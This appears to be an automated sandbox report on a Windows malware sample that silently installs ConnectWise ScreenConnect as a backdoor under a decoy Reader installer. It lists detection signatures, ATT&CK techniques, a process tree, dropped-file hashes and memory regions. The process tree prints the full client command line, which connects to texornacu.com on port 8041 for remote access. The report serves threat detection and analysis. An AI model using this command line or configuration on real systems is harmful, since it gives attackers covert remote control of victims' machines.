Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/05/2026, 09:49

General

  • Target
    2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe
  • Size 105.0MB
  • Sample260519-ltdmlady9r
  • SHA256 9dfec319c80b3314a8de20821d0e2e0b00283e04fac4723f3a48628784c600d8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Custom signature
    UPX dump on OEP (original entry point) 6 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\SYSTEM32\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_c7933122\sc.msi" /quiet /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3004
    • C:\Users\Admin\AppData\Local\Temp\Setup_c7933122\Reader_en_install_original.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup_c7933122\Reader_en_install_original.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5708
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D61ABEF8548828A10A4E3C6EBF092EC5
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5580
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1095.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240652578 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:916
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6A158EE9470D14ED88EA76C8D9FBF20D E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1784
  • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=texornacu.com&p=8041&s=505f77c4-30c7-4584-b5fe-ab029f633839&k=BgIAAACkAABSU0ExAAgAAAEAAQBtBhzErgNekI4PkkFNVg%2fsnlIjV9qtqz7eC6zt9eIRtsihfHnJRyUYzrxty%2fJpL%2f%2bCANjmq1%2f4y22KZduKD9qVb3x%2bhn04H%2b0CmjnKnTvXrAYP2lc%2bCGW5c1E6GnnA8EaT4d3uNtOqvIE0aldEqMyZ%2ffhbct2p8eNxlxbYk9dAiNkbYRv4azrofaLlTCdsJ3%2bu%2bDA6R9NE3ubLQ3FUX1C7kB2XsM%2b3iklTjAGGd8LQt%2bDDsNkuDl4yiKCh6rptkR7QyfwpcTBcX%2bcKDmjC%2f%2fLuSjKsPl%2fo4NrEYdlPnQRP8X1IHSfSuFXJxy875QBH7BgfY%2bEsAx9LDX22y2LaZCK6"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5348
    • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe" "RunRole" "a4a96500-7354-453f-9233-0f34c1f0988f" "User"
      2⤵
      • Executes dropped EXE
      PID:1940
    • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe" "RunRole" "bc16b52c-7615-48a1-8967-123f6053cbad" "System"
      2⤵
      • Drops file in System32 directory
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4776

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e580fdd.rbs

        • Path C:\Config.Msi\e580fdd.rbs
        • Size 214KB
        • SHA256 2278f4ca2212a393f2b0d885596ee66e4f3b426ce8d077ce7243b4b7e2625484
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.Override.en-US.resources
        • Size 316B
        • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.Override.resources
        • Size 465B
        • SHA256 32408185e248c9736a6e75ae1d3e4238d7198c9b0155dfe4ca1a42da99c65759
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\app.config
        • Size 966B
        • SHA256 8ef5245cb2f1d9965f6ed912c793b78e1dc673a5ac6e21eec617df6e2a14ce34
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\system.config
        • Size 955B
        • SHA256 a2efa8979c97f77a2b3d20d688b6bcddc903e899e9bc0c1da1e17ff66c46da94
        • MD5 SHA1 SHA512 TLSH

        Reader_en_install_original.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Setup_c7933122\Reader_en_install_original.exe
        • Size 1.6MB
        • SHA256 76de2dbea39cce88c48be39a3da90b4f301532ae51059cb0041fb3676ac19d95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sc.msi

        • Path C:\Users\Admin\AppData\Local\Temp\Setup_c7933122\sc.msi
        • Size 12.8MB
        • SHA256 c5d81637c017103fa047400262329e5efba946f3f1b5a861a2b34e17001aa533
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI1095.tmp

        • Path C:\Windows\Installer\MSI1095.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI1095.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI1095.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI1095.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI1095.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI14EC.tmp

        • Path C:\Windows\Installer\MSI14EC.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/916-114-0x00000000052B0000-0x000000000545C000-memory.dmp

        memory/916-101-0x0000000002B90000-0x0000000002BBE000-memory.dmp

        memory/916-115-0x0000000005A10000-0x0000000005FB6000-memory.dmp

        memory/916-106-0x0000000002BD0000-0x0000000002BDA000-memory.dmp

        memory/916-110-0x0000000005070000-0x00000000050FE000-memory.dmp

        memory/1940-202-0x0000000002A60000-0x0000000002A78000-memory.dmp

        memory/1940-204-0x0000000002B20000-0x0000000002B61000-memory.dmp

        memory/1940-194-0x000000001B570000-0x000000001B5FE000-memory.dmp

        memory/1940-192-0x0000000002A80000-0x0000000002AB6000-memory.dmp

        memory/1940-203-0x0000000002B00000-0x0000000002B18000-memory.dmp

        memory/1940-199-0x000000001BB10000-0x000000001BCBC000-memory.dmp

        memory/1940-201-0x000000001BE50000-0x000000001BFD8000-memory.dmp

        memory/1940-186-0x00000000008F0000-0x0000000000988000-memory.dmp

        memory/4612-20-0x00000246F7A60000-0x00000246F7AD0000-memory.dmp

        memory/4612-61-0x00000246FCA00000-0x00000246FCA20000-memory.dmp

        memory/4612-12-0x00000246FA620000-0x00000246FA7D0000-memory.dmp

        memory/4612-44-0x00000246FC540000-0x00000246FC580000-memory.dmp

        memory/4612-8-0x0000020660ED0000-0x0000020660EF0000-memory.dmp

        memory/4612-16-0x00000246F7970000-0x00000246F79B0000-memory.dmp

        memory/4612-0-0x00000246F8770000-0x00000246F9400000-memory.dmp

        memory/4612-24-0x00000246FC3F0000-0x00000246FC4A0000-memory.dmp

        memory/4612-28-0x00000246FC780000-0x00000246FC980000-memory.dmp

        memory/4612-32-0x00000246F79B0000-0x00000246F79E0000-memory.dmp

        memory/4612-36-0x00000246FC4E0000-0x00000246FC520000-memory.dmp

        memory/4612-209-0x00000246FD420000-0x00000246FD530000-memory.dmp

        memory/4612-213-0x00000246FD600000-0x00000246FD6D0000-memory.dmp

        memory/4612-205-0x0000020662840000-0x0000020662850000-memory.dmp

        memory/4612-40-0x00000246FC310000-0x00000246FC330000-memory.dmp

        memory/4612-4-0x00000206627D0000-0x0000020662820000-memory.dmp

        memory/4612-52-0x00000246FCA80000-0x00000246FCAD0000-memory.dmp

        memory/4612-48-0x00000246FC9C0000-0x00000246FC9E0000-memory.dmp

        memory/4612-56-0x00000246FCEF0000-0x00000246FCF80000-memory.dmp

        memory/5348-155-0x0000000003CD0000-0x0000000003CE8000-memory.dmp

        memory/5348-175-0x0000000004470000-0x0000000004545000-memory.dmp

        memory/5348-173-0x0000000003F00000-0x0000000003F41000-memory.dmp

        memory/5348-171-0x0000000004280000-0x0000000004312000-memory.dmp

        memory/5348-170-0x0000000003F90000-0x0000000003FC6000-memory.dmp

        memory/5348-166-0x0000000003F40000-0x0000000003F90000-memory.dmp

        memory/5708-78-0x00000000005C0000-0x0000000000A42000-memory.dmp

        memory/5708-219-0x00000000005C0000-0x0000000000A42000-memory.dmp

        memory/5708-232-0x00000000005C0000-0x0000000000A42000-memory.dmp

        memory/5708-236-0x00000000005C0000-0x0000000000A42000-memory.dmp

        memory/5708-242-0x00000000005C0000-0x0000000000A42000-memory.dmp